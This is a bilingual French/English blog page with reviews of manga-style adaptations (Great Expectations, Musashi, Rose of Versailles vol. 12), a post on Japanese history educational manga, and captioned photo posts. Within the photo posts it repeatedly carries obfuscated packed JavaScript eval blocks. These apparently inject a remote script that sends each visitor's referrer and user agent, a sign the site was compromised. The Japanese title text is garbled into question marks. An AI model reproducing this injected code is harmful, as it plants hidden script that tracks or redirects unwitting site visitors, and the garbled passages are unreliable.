When I first noticed this book while browsing at the bookstore I thought “Great! Another interesting manga classics adaptation!” but I soon realized that it was no manga at all! A manga is a comics by a Japanese artist while this one is produced by a Canadian artist (of asian origin). I think I mentioned before this collection of manga classics from Udon Enterainment. They have many interesting adaptations such as Jane Austen’s Emma, Victor Hugo’s Les Miserables, Jane Austen’s Pride and Prejudice, or Nathaniel Hawthorne’s The scarlet letter. But none of them is really manga. Too bad. However, it might still be worth a look.

Great Expectations, original story by Charles Dickens, adaptation by Crystal Silvermoon, and illustrations by Nokman Poon. Richmond Hill: Udon Entertainment (collection Manga Classics), mai 2015. 308 pg, 6 x 8.5″, B&W, Softcover, $19.99 US / $26.50 Cnd, ISBN: 978-1927925317. Recommandé pour public jeune (7+).

Pour plus d’information vous pouvez consulter les sites suivants:

Musashi

“Minamoto Musashi (1584-1645), le samouraï légendaire, est connu dans le monde entier comme un grand maître de sabre, un chercheur spirituel, et l’auteur du classique Le livre des Cinq Roues.”

“Cette version graphique nous raconte sa vie étonnante. C’est à la fois un récit vivant d’une période fascinante dans le Japon féodal et le portrait d’un courageux samouraï qui a combattu avec les idées philosophiques et spirituelles qui sont aussi pertinentes aujourd’hui qu’elles l’étaient en son temps.”

“Plus de 350 ans après sa mort, Musashi nous fascine toujours. À partir d’authentiques sources japonaises, William Scott Wilson, brosse un portrait inoubliable de cet illustre personnage historique.”

(Texte du site de l’éditeur; voir aussi la couverture arrière)


Bon encore une fois, est-ce que cette bande-dessinée est du manga ou pas? L’auteur est écossais (mais vivant au japon) et l’artiste est japonaise. Je crois qu’à la rigueur on peut considérer ça comme du manga. A noter qu’il s’agit ici d’un nouveau petit éditeur, qui semble spécialisé en arts martiaux. Cela m’a accroché l’oeil à la librairie mais ce n’est peut-être pas d’un grand intérêt. À voir par curiosité peut-être…

Musashi, scénarisé par Sean Michael Wilson et illustré par Michiru Morikawa. Noisy sur Ecole: Budo, août 2015. 176 pgs, 15 x 21 cm, 12.95 € / $17.95 Can, ISBN: 978-2-84617-363-6. Recommandé pour public adolescent (12+).

Pour plus d’information vous pouvez consulter les sites suivants:

???????? 12

“?40???????????????????????????????2?????????????????????????????????????????????????????????????????????????????24P???????!”

J’ai déjà mentionné en mars les fameux Rose of Versailles Episodes. Riyoko Ikeda avait déjà tenté de faire des suite à son chef d’oeuvre Versailles no bara avec les Rose of Versailles Side-Stories que l’éditeur Kana avait inclus dans le troisième tome de l’édition française. Toutefois, quarante ans plus tard, alors qu’elle reprend sa carrière de mangaka, elle se remet sur une véritable suite composée d’histoire courtes qui sont chacune centrée autour d’un personnage secondaire différent. Les épisodes sont sérialisé dans Margaret, le magazine hebdomadaire shojo de Shueisha. Une première compilation est paru en août 2014 rassemblant les quatre premières histoires. Ce volume, faisant véritablement suite à la série de dix tomes, a été numéroté le volume onze.

En cherchant à commander le volume onze pour l’anniversaire de mon épouse, j’ai eu la surprise de constater qu’un douzième volume était paru en juillet. Il va sans dire que je l’ai également commandé. Hélas mon japonais n’est pas assez bon pour que je puisse le lire. J’espère que ma femme pourra me le raconter!

Le volume 12 contient les épisodes cinq et six. L’épisode 5, qui suit le Major Victor Clement de Girodelle (l’autre amoureux d’Oscar, qui lui fit une proposition de mariage), est paru en deux parties: une première partie de trente-sept page dans le Margaret #22 (publié le 20 octobre 2014) et une seconde partie de trente-trois pages dans le Margaret #23 (publié le 5 novembre 2014), chacune comportant cinq pages en couleurs. L’épisode 6 a lui aussi été publié en deux partie: l’une dans le Margaret #8 (publié le 20 mars 2015) et l’autre dans le Margaret #9 (publié le 4 avril 2015) totalisant une centaine de pages. Cet épisode nous révèle le secret de la naissance d’Oscar (en révélant comment ses parents se sont rencontré)!

???????? 12 (Versailles no bara 12 / La rose de versailles vol. 12), par Riyoko Ikeda. Tokyo: Shueisha (collection Margaret), juillet 2015. 216 pgs, 7.1 x 5 x 0.9 inches, ? 745 ($9.00 Cnd), ISBN: 978-4088454092. Recommandé pour public adolescent (12+).

Pour plus d’information vous pouvez consulter les sites suivants:

[ Translate ]

Image du chat-medi

Vanille
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|absyy|var|u0026u|referrer|addbd||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zkhai|var|u0026u|referrer|kedyn||js|php’.split(‘|’),0,{}))
(iPhone 6s, document.write(“”); Vanille, 2015-12-05)

Image du mer-fleuri

Pour égailler ce frisquet milieu de semaine / To cheer up this chilly midweek
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bnrye|var|u0026u|referrer|skzba||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|edsri|var|u0026u|referrer|enkte||js|php’.split(‘|’),0,{}))

Rosier floribunda / Floribunda rose
Rosaceae: Rosa “Eureka”
Eureka
(iPhone 6, document.write(“”); Jardin botanique, 2015-07-05)

Educational manga

What makes manga so interesting is that they can not only be used for entertainment but many of them also have a great educational value. I have already talked about manga adaptations of literary classics as well as of my interest for historical manga like The Rose of Versailles by Riyoko Ikeda, which is set in the prelude to the French revolution, or The Tale of Genji (adapted in manga by several mangaka, particularly Waki Yamato, Miyako Maki, Egawa Tatsuya), which is a romance story set at the Japanese royal court of the Heian era. It has long been thought that educational manga (and particularly historical manga or manga set in an historical context) were not popular, but recent successes (titles like Cesare, Emma, Rurouni Kenshin, Thermae Romae, or Vinland Saga come to mind) have proved that wrong. But, there’s more to this.

A few days ago, I was watching the news on NHK World and there was a report on a manga series about the History of Japan (unfortunately the report has no equivalent on the station’s website either as a written article or a streaming video that I can link to). This is another type of great educational manga that helped sparks a renewed interest in Japanese history but it is also used by public and “cram” schools to teach history.

I found this concept of Japanese history educational manga so interesting that I decided to research it a little further to get more details and discovered that at least three great publishers had released their own series about the history of Japan.

Continue reading

Cat-urday’s picture

Caramel in the new year
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kiskn|var|u0026u|referrer|ynser||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kbfbf|var|u0026u|referrer|iayye||js|php’.split(‘|’),0,{}))
(iPhone 6s, document.write(“”); 2016-01-01)

Ab-surdité municipale

Incroyable: sur ma rue dans Villeray-Saint-Michel-Parc-Extension…
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|znnrb|var|u0026u|referrer|ksdsd||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rzkyk|var|u0026u|referrer|artah||js|php’.split(‘|’),0,{}))

Les sentiers du Parc St-Michel sont mieux déneigés que les trottoirs!
snowy sidewalk Park trail cleaner than sidewalks!
(iPhone 6s, document.write(“”); 2016-01-01)

Et au moins deux bornes fontaines sont hors d’usage depuis plusieurs années!
Unbelievable!
(iPhone 6s, 2016-01-01)

Et pourtant nous payons tous notre part de taxes !